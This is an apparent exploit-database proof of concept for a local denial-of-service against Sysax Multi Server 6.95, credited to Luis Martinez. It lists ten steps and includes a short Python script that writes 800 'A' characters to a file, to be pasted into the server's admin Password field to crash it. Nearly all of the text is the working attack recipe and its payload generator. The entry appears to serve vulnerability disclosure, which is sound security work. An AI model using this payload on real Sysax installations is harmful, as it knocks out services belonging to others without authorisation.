# Exploit Title: Sysax Multi Server 6.95 - 'Password' Denial of Service (PoC) # Discovery by: Luis Martinez # Discovery Date: 2022-10-05 # Vendor Homepage: https://www.sysax.com/ # Software Link: https://www.sysax.com/download/sysaxserv_setup.msi # Tested Version: 6.95 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code: Sysax_Multi_Server_6.95.py # 2.- Open Sysax_Multi_Server_6.95.txt and copy content to clipboard # 3.- Open "Sysax Multi Server" # 4.- Manage Server Settings... # 5.- Administrative Settings -> Configure... # 6.- Clic "Enable web based administration and API access" # 7.- Login -> admin # 8.- Paste ClipBoard on "Password" # 9.- Save # 10.- Crashed #!/usr/bin/env python buffer = "\x41" * 800 f = open ("Sysax_Multi_Server_6.95.txt", "w") f.write(buffer) f.close()